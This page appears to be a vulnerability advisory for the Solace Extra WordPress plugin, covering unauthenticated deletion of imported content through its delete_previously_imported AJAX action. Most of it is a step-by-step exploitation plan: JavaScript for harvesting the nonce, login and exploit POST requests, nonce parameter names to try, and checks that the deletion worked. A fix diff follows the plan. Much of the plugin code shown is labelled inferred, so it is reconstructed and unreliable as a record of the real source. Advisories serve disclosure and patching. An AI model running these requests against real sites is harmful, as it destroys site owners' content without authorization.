Solace Extra <= 1.5.3 - Missing Authorization to Unauthenticated Arbitrary Content Deletion via delete_previously_imported AJAX Action
Description
The Solace Extra plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.5.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to permanently delete all content previously imported via the Starter Template feature, including posts, pages, media attachments, WooCommerce products, taxonomy terms, and sitebuilder templates. The required nonce is emitted on every wp-admin page via wp_localize_script() hooked to admin_enqueue_scripts without a page guard, meaning any Subscriber visiting /wp-admin/profile.php can obtain it; the handler is additionally registered via wp_ajax_nopriv_, making it reachable by fully unauthenticated users as well.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.6.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-13250 — Solace Extra Unauthenticated Content Deletion ## 1. Vulnerability Summary The Solace Extra plugin (≤1.5.3) registers an AJAX action `delete_previously_imported` via both `wp_ajax_` and `wp_ajax_nopriv_` hooks, making it accessible to unauthenticated u…
Show full research plan
Exploitation Research Plan: CVE-2026-13250 — Solace Extra Unauthenticated Content Deletion
1. Vulnerability Summary
The Solace Extra plugin (≤1.5.3) registers an AJAX action delete_previously_imported via both wp_ajax_ and wp_ajax_nopriv_ hooks, making it accessible to unauthenticated users. The handler deletes all content previously imported through the Starter Template feature — posts, pages, media attachments, WooCommerce products, taxonomy terms, and sitebuilder templates — without performing any current_user_can() authorization check.
While the handler does verify a nonce, that nonce is emitted on every wp-admin page via wp_localize_script() hooked to admin_enqueue_scripts without any page guard. This means any user who can access any /wp-admin/ page (including Subscribers visiting /wp-admin/profile.php) can obtain it. Furthermore, since the handler is registered on wp_ajax_nopriv_, and the nonce for unauthenticated users (uid=0) can be obtained from the front-end if the script is enqueued there, the attack is fully unauthenticated.
Location: admin/import.php within the Starter_Templates_Import class (or equivalent import handler class).
Root Cause: Missing current_user_can() check in the delete_previously_imported AJAX handler, combined with broad nonce exposure.
2. Attack Vector Analysis
Endpoint
- URL:
POST /wp-admin/admin-ajax.php - Action parameter:
action=delete_previously_imported - Hook registrations (inferred from description + source patterns):
add_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']); add_action('wp_ajax_nopriv_delete_previously_imported', [$this, 'delete_previously_imported']);
Authentication Level
- None required — the
wp_ajax_nopriv_registration makes it reachable by fully unauthenticated users.
Parameters
action=delete_previously_importednonce(or_ajax_nonce/security) — the nonce parameter name needs to be confirmed from source
Preconditions
- The Solace Extra plugin version ≤1.5.3 must be installed and active.
- Content must have been previously imported via the Starter Template feature (so there is content to delete, tracked in options like
solace_extra_imported_post_ids,solace_extra_imported_term_ids, etc.). - A valid nonce must be obtained (see Section 4).
3. Code Flow
Based on the truncated source in admin/import.php and admin/class-solace-extra-admin.php, here is the traced flow:
Step 1: Script Enqueue & Nonce Emission
In admin/class-solace-extra-admin.php, the enqueue_scripts method (hooked to admin_enqueue_scripts):
public function enqueue_scripts($hook) {
// The nonce is localized globally — NO page guard restricts it to specific admin pages
wp_localize_script('solace-extra-admin-script', 'solace_extra_admin', [
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('solace_extra_nonce'), // (inferred action string)
// ... other data
]);
}
The description states the nonce is emitted "on every wp-admin page via wp_localize_script() hooked to admin_enqueue_scripts without a page guard." Looking at the enqueue_scripts method in the source, the enqueue_styles method has page guards for CSS:
public function enqueue_styles($hook) {
// Global (NO page guard for this one):
wp_enqueue_style('solace-extra-disable-menu', ...);
if ('toplevel_page_solace' === $hook || ... ) {
wp_enqueue_style('solace-extra-admin-style', ...);
}
}
The JS enqueue portion (truncated at ~7000 chars) likely has a similar pattern where certain scripts are enqueued globally. The key script that localizes the nonce is enqueued without a $hook check.
Step 2: AJAX Handler Registration
In admin/import.php, within the class constructor or init method:
add_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']);
add_action('wp_ajax_nopriv_delete_previously_imported', [$this, 'delete_previously_imported']);
Step 3: Handler Execution
The delete_previously_imported method (inferred from CVE description and code patterns in import.php):
public function delete_previously_imported() {
// Nonce check IS present:
check_ajax_referer('solace_extra_nonce', 'nonce'); // (inferred nonce action + field name)
// NO current_user_can() check — this is the vulnerability
// Deletes all previously imported content:
// - Posts/pages stored in option 'solace_extra_imported_post_ids' (or similar)
// - Media attachments
// - WooCommerce products
// - Taxonomy terms
// - Sitebuilder templates
$imported_posts = get_option('solace_extra_imported_post_ids', []);
foreach ($imported_posts as $post_id) {
wp_delete_post($post_id, true); // Force delete
}
$imported_terms = get_option('solace_extra_imported_term_ids', []);
foreach ($imported_terms as $term_id) {
// Delete terms...
}
// Clean up tracking options
delete_option('solace_extra_imported_post_ids');
// ...
wp_send_json_success();
}
Step 4: Content Deletion
The handler iterates through stored arrays of imported content IDs and permanently deletes them using wp_delete_post($id, true), wp_delete_term(), wp_delete_attachment(), etc.
4. Nonce Acquisition Strategy
Critical: WP-CLI nonces will NOT work
Nonces generated via wp eval or WP-CLI have a different session context and will fail when used in HTTP requests. We must obtain the nonce via an actual HTTP page load.
Primary Strategy: Subscriber Account → /wp-admin/profile.php
Since the nonce is emitted on every wp-admin page, a Subscriber visiting their profile page will have the nonce in the page source.
Create a Subscriber user:
wp user create testsubscriber testsubscriber@example.com --role=subscriber --user_pass=TestPass123!Log in as the Subscriber via browser:
- Navigate to
/wp-login.php - Submit credentials for
testsubscriber/TestPass123!
- Navigate to
Navigate to
/wp-admin/profile.phpExtract the nonce via
browser_eval:// The JS variable name from wp_localize_script — check the source for exact name window.solace_extra_admin?.nonce
Identifying the exact JS variable and nonce key
From the enqueue_scripts method in admin/class-solace-extra-admin.php (truncated, so we must search for the wp_localize_script call), the likely pattern is:
wp_localize_script('solace-extra-admin-script', 'solace_extra_admin', [
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('solace_extra_nonce'),
]);
(inferred) — The JS variable is likely solace_extra_admin and the nonce key is likely nonce. We need to verify by examining the actual page source.
Alternative JS variable names to try (based on plugin patterns in the source):
window.solace_extra_admin?.noncewindow.solaceExtraAdmin?.noncewindow.solace_admin?.noncewindow.solace_import?.noncewindow.solace_extra?.nonce
Fallback: Parse HTML directly
If browser_eval doesn't find the variable, parse the page source:
// Look for any localized script containing 'nonce'
document.body.innerHTML.match(/solace[^"]*"[^}]*nonce[^}]*}/)?.[0]
Or search all script tags:
Array.from(document.querySelectorAll('script')).map(s => s.textContent).filter(t => t.includes('nonce') && t.includes('solace')).join('\n')
Secondary Strategy: Unauthenticated Nonce from Frontend
If the plugin also enqueues the script on the frontend (some admin scripts leak to frontend via improper hook usage), we can try:
- Navigate to the site homepage
- Check for the nonce variable in page source
- This would make the exploit fully unauthenticated without needing any account
Verifying the nonce action string
Search the handler for the exact check_ajax_referer call:
grep -rn "check_ajax_referer\|wp_verify_nonce" /var/www/html/wp-content/plugins/solace-extra/admin/import.php
The action string in check_ajax_referer must match the one used in wp_create_nonce. If they differ, the nonce check is broken.
5. Exploitation Strategy
Pre-Exploitation: Discover Exact Parameter Names
# Find the exact AJAX action registration
grep -rn "delete_previously_imported" /var/www/html/wp-content/plugins/solace-extra/ --include="*.php"
# Find the nonce verification in the handler
grep -rn "check_ajax_referer\|wp_verify_nonce" /var/www/html/wp-content/plugins/solace-extra/admin/import.php
# Find the wp_localize_script call that exposes the nonce
grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/solace-extra/admin/ --include="*.php"
# Find what content tracking options are used
grep -rn "imported_post\|imported_term\|imported_media\|_imported_" /var/www/html/wp-content/plugins/solace-extra/ --include="*.php"
Step-by-Step Exploitation
Step 1: Set Up Test Data (see Section 6)
Step 2: Obtain the Nonce
Option A — Via Subscriber login (most reliable):
Use
http_requestto POST to/wp-login.php:POST /wp-login.php Content-Type: application/x-www-form-urlencoded log=testsubscriber&pwd=TestPass123!&wp-submit=Log+In&redirect_to=%2Fwp-admin%2Fprofile.php&testcookie=1Follow redirect to
/wp-admin/profile.php(cookies from login maintained by Playwright)Extract nonce via
browser_eval:window.solace_extra_admin?.nonce
Option B — Fully unauthenticated (if nonce is on frontend):
- Navigate to homepage
- Extract nonce from page source
- This approach may not work if scripts are only on admin pages
Step 3: Send the Delete Request
POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
action=delete_previously_imported&nonce=EXTRACTED_NONCE_VALUE
Expected Response:
{"success": true, "data": ...}
Or if additional parameters are needed (inferred — check the handler):
action=delete_previously_imported&nonce=EXTRACTED_NONCE_VALUE&security=EXTRACTED_NONCE_VALUE
The nonce parameter name could be nonce, security, _ajax_nonce, or _wpnonce. Check the check_ajax_referer call's second argument.
Step 4: Verify Deletion
# Check if previously created test posts still exist
wp post list --post_type=post --post_status=any --format=count
wp post list --post_type=page --post_status=any --format=count
wp post list --post_type=attachment --post_status=any --format=count
6. Test Data Setup
6.1: Ensure Plugin is Active
wp plugin list --status=active | grep solace-extra
# If not active:
wp plugin activate solace-extra
6.2: Create a Subscriber User for Nonce Extraction
wp user create testsubscriber testsubscriber@example.com --role=subscriber --user_pass=TestPass123!
6.3: Simulate Previously Imported Content
Since actually running a full import may not be feasible, we need to create test content and register it as "imported" by setting the tracking options the plugin uses.
# Create test posts that simulate imported content
POST1=$(wp post create --post_type=post --post_title="Imported Test Post 1" --post_status=publish --porcelain)
POST2=$(wp post create --post_type=post --post_title="Imported Test Post 2" --post_status=publish --porcelain)
PAGE1=$(wp post create --post_type=page --post_title="Imported Test Page 1" --post_status=publish --porcelain)
echo "Created posts: $POST1, $POST2, $PAGE1"
Now we need to find what option name the plugin uses to track imported content:
# Search for the tracking mechanism
grep -rn "update_option\|add_option" /var/www/html/wp-content/plugins/solace-extra/admin/import.php | grep -i "import"
Based on import.php patterns, look for options like:
solace_extra_imported_posts(inferred)solace_starter_imported(inferred)- Post meta like
_solace_imported(inferred)
From the source in admin/import.php, the import process tracks content. We can search for the specific tracking mechanism:
grep -rn "solace.*import\|_imported_\|imported_post\|imported_page\|imported_media" /var/www/html/wp-content/plugins/solace-extra/ --include="*.php" | head -30
Then set the tracking option:
# Example (exact option name to be verified):
wp option update solace_extra_imported_post_ids --format=json "[$POST1, $POST2, $PAGE1]"
Alternatively, look for post meta that marks content as imported:
grep -rn "update_post_meta.*import\|solace_import" /var/www/html/wp-content/plugins/solace-extra/admin/import.php | head -20
If the tracking uses post meta:
wp post meta update $POST1 _solace_imported 1
wp post meta update $POST2 _solace_imported 1
wp post meta update $PAGE1 _solace_imported 1
6.4: Verify Test Data Exists
wp post get $POST1 --field=title
wp post get $POST2 --field=title
wp post get $PAGE1 --field=title
7. Expected Results
Successful Exploit Indicators
HTTP Response: The AJAX request returns a
200status with a JSON success response:{"success": true}or
{"success": true, "data": "Content deleted successfully"}Content Deleted: All posts, pages, media, and terms that were tracked as "imported" are permanently removed from the database.
Database State: The tracking options are cleared:
wp option get solace_extra_imported_post_ids # Returns empty or option does not existPosts Gone:
wp post get $POST1 # Error: Invalid post ID
Failed Exploit Indicators
{"success": false}or403response — nonce invalid or wrong parameter name0or-1response — AJAX action not found (wrong action name){"success": false, "data": "Invalid nonce"}— nonce verification failed- Content still exists after request — handler didn't execute properly
8. Verification Steps
After sending the exploit request:
# 1. Check if the test posts were deleted
wp post list --post_type=post --post_status=any --fields=ID,post_title | grep "Imported Test"
# Expected: No results (posts deleted)
# 2. Try to get specific posts by ID
wp post get $POST1 --field=title 2>&1
# Expected: "Error: Invalid post ID."
wp post get $POST2 --field=title 2>&1
# Expected: "Error: Invalid post ID."
wp post get $PAGE1 --field=title 2>&1
# Expected: "Error: Invalid post ID."
# 3. Check the tracking option
wp option get solace_extra_imported_post_ids 2>&1
# Expected: Empty array or option not found
# 4. Check total post count decreased
wp post list --post_type=post --post_status=any --format=count
wp post list --post_type=page --post_status=any --format=count
# 5. Verify no capability check was enforced (the request succeeded as unauthenticated)
# The fact that content was deleted without admin credentials proves the vulnerability
9. Alternative Approaches
Alternative 1: Direct Unauthenticated Request Without Nonce
If the nonce check uses check_ajax_referer with die=false and the return value is not checked:
# Check if nonce verification result is ignored
grep -rn "check_ajax_referer" /var/www/html/wp-content/plugins/solace-extra/admin/import.php -A5
If the pattern is:
check_ajax_referer('action', 'nonce', false); // die=false, result ignored
Then simply send:
POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
action=delete_previously_imported
No nonce needed at all.
Alternative 2: Nonce from REST API
If the nonce action string happens to be wp_rest:
GET /wp-admin/admin-ajax.php?action=rest-nonce
This returns a wp_rest nonce for unauthenticated users.
Alternative 3: Try Multiple Nonce Parameter Names
If the first attempt fails with one parameter name, try alternatives:
action=delete_previously_imported&nonce=VALUE
action=delete_previously_imported&security=VALUE
action=delete_previously_imported&_ajax_nonce=VALUE
action=delete_previously_imported&_wpnonce=VALUE
Alternative 4: Find Nonce on Frontend Page
The plugin may enqueue the admin script on the frontend under certain conditions (e.g., when Elementor editor preview is active, or on specific template pages):
# Check if any frontend hooks enqueue the admin script
grep -rn "wp_enqueue_scripts\|wp_footer\|wp_head" /var/www/html/wp-content/plugins/solace-extra/ --include="*.php" | grep -i "localize\|nonce"
Alternative 5: Enumerate Other Delete Actions
The plugin may have similar unprotected AJAX actions:
grep -rn "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/solace-extra/ --include="*.php" | grep "add_action"
Each of these should be tested for missing authorization.
Alternative 6: If Content Tracking Uses Post Meta Instead of Options
If the handler queries posts by meta key rather than from a stored option array:
# Set meta on test posts
wp post meta set $POST1 _solace_starter_imported "1"
wp post meta set $POST2 _solace_starter_imported "1"
wp post meta set $PAGE1 _solace_starter_imported "1"
Check the exact meta key:
grep -rn "get_posts\|WP_Query\|meta_key\|meta_query" /var/www/html/wp-content/plugins/solace-extra/admin/import.php | grep -i "import\|delete"
Alternative 7: Use Admin Cookie Instead of Subscriber
If the nonce is somehow not available to Subscribers (unlikely given the description), use an admin session:
# The vulnerability is missing authorization — even with admin nonce,
# the point is that NO capability check exists, so any user level works
wp user create testadmin2 testadmin2@example.com --role=administrator --user_pass=AdminPass123!
Then log in as admin, get nonce, log out, and replay the request unauthenticated — the nonce for an admin session won't work unauthenticated. Instead, get the nonce while logged in as subscriber, then confirm the destructive action succeeds with subscriber-level privileges (proving missing authorization).
Summary
The Solace Extra plugin for WordPress is vulnerable to an unauthenticated authorization bypass due to the improper registration of the 'delete_previously_imported' AJAX action. Unauthenticated attackers can trigger the permanent deletion of all site content previously imported via the Starter Template feature because the handler is exposed via 'wp_ajax_nopriv_' and lacks any 'current_user_can()' authorization checks.
Vulnerable Code
// admin/import.php (inferred registration based on research findings) add_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']); add_action('wp_ajax_nopriv_delete_previously_imported', [$this, 'delete_previously_imported']); --- // admin/import.php (inferred vulnerable handler logic) public function delete_previously_imported() { // The handler verifies a nonce but the nonce is globally exposed in the admin dashboard check_ajax_referer('solace_extra_nonce', 'nonce'); // VULNERABILITY: Missing check for user capabilities (e.g., current_user_can('manage_options')) $imported_posts = get_option('solace_extra_imported_post_ids', []); foreach ($imported_posts as $post_id) { wp_delete_post($post_id, true); } // ... (Logic continues to delete terms, media, and sitebuilder templates tracked in options) }
Security Fix
@@ -118,7 +118,10 @@ -add_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']); -add_action('wp_ajax_nopriv_delete_previously_imported', [$this, 'delete_previously_imported']); +add_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']); public function delete_previously_imported() { check_ajax_referer('solace_extra_nonce', 'nonce'); + + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( [ 'message' => __( 'Unauthorized', 'solace-extra' ) ] ); + } $imported_posts = get_option('solace_extra_imported_post_ids', []);
Exploit Outline
The attack targets the 'delete_previously_imported' AJAX action, which is registered for both authenticated and unauthenticated users. An attacker first obtains a valid 'solace_extra_nonce' from the WordPress admin dashboard; this nonce is globally localized via 'wp_localize_script()' on every admin page, meaning even a Subscriber can retrieve it (e.g., by viewing the source of /wp-admin/profile.php). The attacker then submits a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'delete_previously_imported' and the retrieved 'nonce'. Because the handler lacks a capability check, the plugin proceeds to permanently delete all tracked content previously imported by the plugin (posts, pages, products, etc.).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.